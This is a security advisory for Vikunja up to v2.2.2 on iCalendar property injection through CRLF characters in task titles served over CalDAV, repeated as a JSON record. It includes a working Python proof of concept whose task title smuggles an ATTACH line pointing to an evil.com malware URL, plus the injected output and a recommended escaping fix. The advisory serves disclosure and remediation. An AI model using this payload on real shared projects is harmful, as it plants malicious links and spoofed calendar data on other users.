GHSA-2G7H-7RQR-9P4R
Vulnerability from github – Published: 2026-04-10 15:35 – Updated: 2026-04-10 19:45Summary
The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER.
Details
The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:
SUMMARY:` + t.Summary + getCaldavColor(t.Color)
RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. None of these escaping rules are applied to Summary, Categories, UID, project name, or alarm Description fields.
Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the SUMMARY property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
from requests.auth import HTTPBasicAuth
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()
# create task with CRLF injection in title
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
"title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned"
}).json()
# set UID (normally done by CalDAV sync; here via sqlite for PoC)
# sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};"
TASK_UID = "inject-test-001"
# fetch via CalDAV
caldav_token = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"]
r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics",
auth=HTTPBasicAuth("alice", caldav_token))
print(r.text)
Output:
BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:inject-test-001
DTSTAMP:20260327T130452Z
SUMMARY:Meeting
ATTACH:https://evil.com/malware.exe
X-INJECTED:pwned
CREATED:20260327T130452Z
LAST-MODIFIED:20260327T130452Z
END:VTODO
END:VCALENDAR
The ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.
Impact
An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:
- Injecting malicious attachment URLs (ATTACH) that clients may auto-download or display
- Creating fake alarm notifications (VALARM) for social engineering
- Spoofing organizer identity (ORGANIZER)
Recommended Fix
Apply RFC 5545 TEXT value escaping to all user-controlled fields:
func escapeICal(s string) string {
s = strings.ReplaceAll(s, "\\", "\\\\")
s = strings.ReplaceAll(s, ";", "\\;")
s = strings.ReplaceAll(s, ",", "\\,")
s = strings.ReplaceAll(s, "\n", "\\n")
s = strings.ReplaceAll(s, "\r", "")
return s
}
Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.
Found and reported by aisafe.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.2.2"
},
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35601"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T15:35:05Z",
"nvd_published_at": "2026-04-10T17:17:03Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as `ATTACH`, `VALARM`, or `ORGANIZER`.\n\n## Details\n\nThe `ParseTodos` function at `pkg/caldav/caldav.go:146` concatenates the task summary directly into the iCalendar output:\n\n```go\nSUMMARY:` + t.Summary + getCaldavColor(t.Color)\n```\n\nRFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as `\\n`, semicolons as `\\;`, commas as `\\,`, and backslashes as `\\\\`. None of these escaping rules are applied to `Summary`, `Categories`, `UID`, project name, or alarm `Description` fields.\n\nGo\u0027s JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the `SUMMARY` property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ntoken = requests.post(f\"{API}/login\",\n json={\"username\": \"alice\", \"password\": \"Alice1234!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\nproj = requests.put(f\"{API}/projects\", headers=h, json={\"title\": \"CalDAV Test\"}).json()\n\n# create task with CRLF injection in title\ntask = requests.put(f\"{API}/projects/{proj[\u0027id\u0027]}/tasks\", headers=h, json={\n \"title\": \"Meeting\\r\\nATTACH:https://evil.com/malware.exe\\r\\nX-INJECTED:pwned\"\n}).json()\n\n# set UID (normally done by CalDAV sync; here via sqlite for PoC)\n# sqlite3 vikunja.db \"UPDATE tasks SET uid=\u0027inject-test-001\u0027 WHERE id={task[\u0027id\u0027]};\"\nTASK_UID = \"inject-test-001\"\n\n# fetch via CalDAV\ncaldav_token = requests.put(f\"{API}/user/settings/token/caldav\", headers=h).json()[\"token\"]\nr = requests.get(f\"{TARGET}/dav/projects/{proj[\u0027id\u0027]}/{TASK_UID}.ics\",\n auth=HTTPBasicAuth(\"alice\", caldav_token))\nprint(r.text)\n```\n\nOutput:\n```\nBEGIN:VCALENDAR\nVERSION:2.0\nBEGIN:VTODO\nUID:inject-test-001\nDTSTAMP:20260327T130452Z\nSUMMARY:Meeting\nATTACH:https://evil.com/malware.exe\nX-INJECTED:pwned\nCREATED:20260327T130452Z\nLAST-MODIFIED:20260327T130452Z\nEND:VTODO\nEND:VCALENDAR\n```\n\nThe `ATTACH` and `X-INJECTED` lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.\n\n## Impact\n\nAn authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:\n- Injecting malicious attachment URLs (`ATTACH`) that clients may auto-download or display\n- Creating fake alarm notifications (`VALARM`) for social engineering\n- Spoofing organizer identity (`ORGANIZER`)\n\n## Recommended Fix\n\nApply RFC 5545 TEXT value escaping to all user-controlled fields:\n\n```go\nfunc escapeICal(s string) string {\n s = strings.ReplaceAll(s, \"\\\\\", \"\\\\\\\\\")\n s = strings.ReplaceAll(s, \";\", \"\\\\;\")\n s = strings.ReplaceAll(s, \",\", \"\\\\,\")\n s = strings.ReplaceAll(s, \"\\n\", \"\\\\n\")\n s = strings.ReplaceAll(s, \"\\r\", \"\")\n return s\n}\n```\n\nApply `escapeICal()` to `t.Summary`, `config.Name`, `t.Categories` items, `a.Description`, `t.UID`, and `r.UID`.\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-2g7h-7rqr-9p4r",
"modified": "2026-04-10T19:45:55Z",
"published": "2026-04-10T15:35:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35601"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/2580"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.